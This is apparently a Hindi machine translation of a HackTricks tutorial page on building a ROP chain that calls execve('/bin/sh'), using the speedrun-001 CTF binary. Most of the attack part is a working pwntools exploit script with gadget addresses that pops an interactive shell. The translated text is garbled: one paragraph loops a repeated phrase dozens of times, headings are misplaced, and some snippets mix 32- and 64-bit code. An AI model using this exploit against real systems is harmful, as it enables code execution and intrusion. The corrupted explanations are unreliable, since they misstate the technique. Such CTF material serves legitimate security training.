20 KiB
ROP - sys_execve कोल करें
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की इच्छा है? SUBSCRIPTION PLANS की जांच करें!
- The PEASS Family की खोज करें, हमारा संग्रह विशेष NFTs
- आधिकारिक PEASS & HackTricks swag प्राप्त करें
- 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या मुझे Twitter 🐦@carlospolopm** का** अनुसरण करें।**
- हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके hacktricks repo और hacktricks-cloud repo को हैकिंग ट्रिक्स साझा करें।
syscall को कॉल करने के लिए निम्नलिखित कॉन्फ़िगरेशन की आवश्यकता होती है:
rax: 59 sys_execve को निर्दिष्ट करें
rdi: "/bin/sh" के लिए प्ट्र निर्दिष्ट करें
rsi: 0 कोई तर्क नहीं पास किया गया है
rdx: 0 कोई पर्यावरण चर पास नहीं किया गया है
इसलिए, मूल रूप से कहा जाता है कि कहीं भी स्ट्रिंग /bin/sh
लिखने की आवश्यकता होती है और फिर syscall
को करना होता है (स्टैक को नियंत्रित करने के लिए आवश्यक पैडिंग के बारे में जागरूक रहें।)
रजिस्टर्स को नियंत्रित करें
चलो शुरू करते हैं कि वे रजिस्टर्स को कैसे नियंत्रित करें:
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
इन पतों के साथ, स्टैक में सामग्री लिखना और रजिस्टर में लोड करना संभव है।
स्ट्रिंग लिखें
लिखने योग्य मेमोरी
सबसे पहले, आपको मेमोरी में लिखने योग्य स्थान ढूंढना होगा।
gef> vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
तार लिखें
फिर आपको इस पते पर विचित्र सामग्री लिखने का एक तरीका ढूंढ़ना होगा।
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
32 बिट
<p>इस अध्याय में, हम एक 32 बिट लिनक्स सिस्टम पर ROP (Return Oriented Programming) और Syscall का उपयोग करके execve ("/bin/sh", 0, 0) को कैसे एक्सीक्यूट कर सकते हैं, इसका विवरण देंगे।</p>
64 bits
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop += popRdx # place value into EAX
rop += "/bin" # 4 bytes at a time
rop += popRax # place value into edx
rop += p32(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
64 बिट
ROP (Return Oriented Programming)
ROP (Return Oriented Programming) एक तकनीक है जिसका उपयोग किया जाता है ताकि हम एक विशिष्ट प्रोग्राम के भीतर से विभिन्न सिस्टम कॉल को बुलाने के लिए उपयोग किए जा सकें। इसका उपयोग करके हम एक विशिष्ट सिस्टम कॉल को बुलाने के लिए उपयोग किए जाने वाले विभिन्न फंक्शन के ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने व
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
उदाहरण
#include <stdio.h>
#include <unistd.h>
int main() {
char *args[] = {"/bin/sh", NULL};
execv(args[0], args);
return 0;
}
इस उदाहरण में, हम execv
सिस्टम कॉल का उपयोग करके /bin/sh
शेल को चला रहे हैं। यह उदाहरण एक नया प्रोसेस शुरू करता है और /bin/sh
शेल को चलाने के लिए execv
का उपयोग करता है। इस तरीके से, हम एक नया प्रोसेस शुरू करते हैं और उसे /bin/sh
शेल में ले जाते हैं।
from pwn import *
target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')
# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# Our syscall gadget
syscall = p64(0x40129c)
'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
'''
Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
'''
rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)
rop += syscall
# Add the padding to the saved return address
payload = "0"*0x408 + rop
# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
संदर्भ
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करना चाहिए? सदस्यता योजनाएं की जांच करें!
- खोजें The PEASS Family, हमारा विशेष NFT संग्रह!
- प्राप्त करें आधिकारिक PEASS & HackTricks swag
- शामिल हों 💬 Discord समूह या टेलीग्राम समूह में या मुझे Twitter पर फ़ॉलो करें 🐦@carlospolopm.
- अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें hacktricks repo और hacktricks-cloud repo को।